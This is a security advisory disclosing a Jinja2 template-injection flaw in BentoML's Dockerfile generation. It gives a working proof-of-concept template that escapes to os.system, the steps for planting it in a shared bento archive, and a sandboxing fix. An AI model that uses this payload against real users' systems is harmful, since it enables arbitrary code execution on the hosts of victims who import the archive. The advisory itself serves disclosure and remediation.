BentoML: SSTI via Unsandboxed Jinja2 in Dockerfile Generation

Summary

The Dockerfile generation function generate_containerfile() in src/bentoml/_internal/container/generate.py uses an unsandboxed jinja2.Environment with the jinja2.ext.do extension to render user-provided dockerfile_template files. When a victim imports a malicious bento archive and runs bentoml containerize, attacker-controlled Jinja2 template code executes arbitrary Python directly on the host machine, bypassing all container isolation.

Details

The vulnerability exists in the generate_containerfile() function at src/bentoml/_internal/container/generate.py:155-157:

ENVIRONMENT = Environment(
    extensions=["jinja2.ext.do", "jinja2.ext.loopcontrols", "jinja2.ext.debug"],
    trim_blocks=True,
    lstrip_blocks=True,
    loader=FileSystemLoader(TEMPLATES_PATH, followlinks=True),
)

This creates an unsandboxed jinja2.Environment with two dangerous extensions:

• jinja2.ext.do — enables {% do %} tags that execute arbitrary Python expressions
• jinja2.ext.debug — exposes internal template engine state

Attack path:

1. Attacker builds a bento with dockerfile_template set in bentofile.yaml. During bentoml build, DockerOptions.write_to_bento() (build_config.py:272-276) copies the template file into the bento archive at env/docker/Dockerfile.template:

if self.dockerfile_template is not None:
    shutil.copy2(
        resolve_user_filepath(self.dockerfile_template, build_ctx),
        docker_folder / "Dockerfile.template",
    )

2. Attacker exports the bento as a .bento or .tar.gz archive and distributes it (via S3, HTTP, direct sharing, etc.).

3. Victim imports the bento with bentoml import bento.tar — no validation of template content is performed.

4. Victim containerizes with bentoml containerize. The construct_containerfile() function (__init__.py:198-204) detects the template and sets the path:

docker_attrs["dockerfile_template"] = "env/docker/Dockerfile.template"

5. generate_containerfile() (generate.py:181-192) loads the attacker-controlled template into the unsandboxed Environment and renders it at line 202:

user_templates = docker.dockerfile_template
if user_templates is not None:
    dir_path = os.path.dirname(resolve_user_filepath(user_templates, build_ctx))
    user_templates = os.path.basename(user_templates)
    TEMPLATES_PATH.append(dir_path)
    environment = ENVIRONMENT.overlay(
        loader=FileSystemLoader(TEMPLATES_PATH, followlinks=True)
    )
    template = environment.get_template(
        user_templates,
        globals={"bento_base_template": template, **J2_FUNCTION},
    )
# ...
return template.render(...)  # <-- SSTI executes here, on the HOST

Critical distinction: Commands in docker.commands or docker.post_commands execute inside the Docker build container (isolated). SSTI payloads execute Python directly on the host machine during template rendering, before Docker is invoked. This bypasses all container isolation.

PoC

Step 1: Create malicious template evil.j2:

{% extends bento_base_template %}
{% block SETUP_BENTO_COMPONENTS %}
{{ super() }}
{% do namespace.__init__.__globals__['__builtins__']['__import__']('os').system('id > /tmp/pwned') %}
{% endblock %}

Step 2: Create bentofile.yaml referencing the template:

service: 'service:MyService'
docker:
  dockerfile_template: ./evil.j2

Step 3: Attacker builds and exports:

bentoml build
bentoml export myservice:latest bento.tar

Step 4: Victim imports and containerizes:

bentoml import bento.tar
bentoml containerize myservice:latest

Step 5: Verify host code execution:

cat /tmp/pwned
# Output: uid=1000(victim) gid=1000(victim) groups=...

The SSTI payload executes on the host during template rendering, before any Docker container is created.

Standalone verification that the Jinja2 Environment allows code execution:

python3 -c "
from jinja2 import Environment
env = Environment(extensions=['jinja2.ext.do'])
t = env.from_string(\"{% do namespace.__init__.__globals__['__builtins__']['__import__']('os').system('echo SSTI_WORKS') %}\")
t.render()
"
# Output: SSTI_WORKS

Impact

An attacker who distributes a malicious bento archive can achieve arbitrary code execution on the host machine of any user who imports and containerizes the bento. This gives the attacker:

• Full access to the host filesystem (source code, credentials, SSH keys, cloud tokens)
• Ability to install backdoors or pivot to other systems
• Access to environment variables containing secrets (API keys, database credentials)
• Potential supply chain compromise if the victim's machine is a CI/CD runner

The attack is particularly dangerous because:

1. Users may reasonably expect bentoml containerize to be a safe build operation
2. The malicious template is embedded inside the bento archive and not visible without manual inspection
3. Execution happens on the host, not inside a Docker container, bypassing all isolation

Recommended Fix

Replace the unsandboxed jinja2.Environment with jinja2.sandbox.SandboxedEnvironment and remove the dangerous jinja2.ext.do and jinja2.ext.debug extensions, which are unnecessary for Dockerfile template rendering.

In src/bentoml/_internal/container/generate.py, change lines 155-157:

# Before (VULNERABLE):
from jinja2 import Environment
# ...
ENVIRONMENT = Environment(
    extensions=["jinja2.ext.do", "jinja2.ext.loopcontrols", "jinja2.ext.debug"],
    trim_blocks=True,
    lstrip_blocks=True,
    loader=FileSystemLoader(TEMPLATES_PATH, followlinks=True),
)

# After (FIXED):
from jinja2.sandbox import SandboxedEnvironment
# ...
ENVIRONMENT = SandboxedEnvironment(
    extensions=["jinja2.ext.loopcontrols"],
    trim_blocks=True,
    lstrip_blocks=True,
    loader=FileSystemLoader(TEMPLATES_PATH, followlinks=True),
)

Additionally, review the second unsandboxed Environment in build_config.py:499-504 which also uses jinja2.ext.debug:

# build_config.py:499 - also fix:
env = jinja2.sandbox.SandboxedEnvironment(
    variable_start_string="<<",
    variable_end_string=">>",
    loader=jinja2.FileSystemLoader(os.path.dirname(__file__), followlinks=True),
)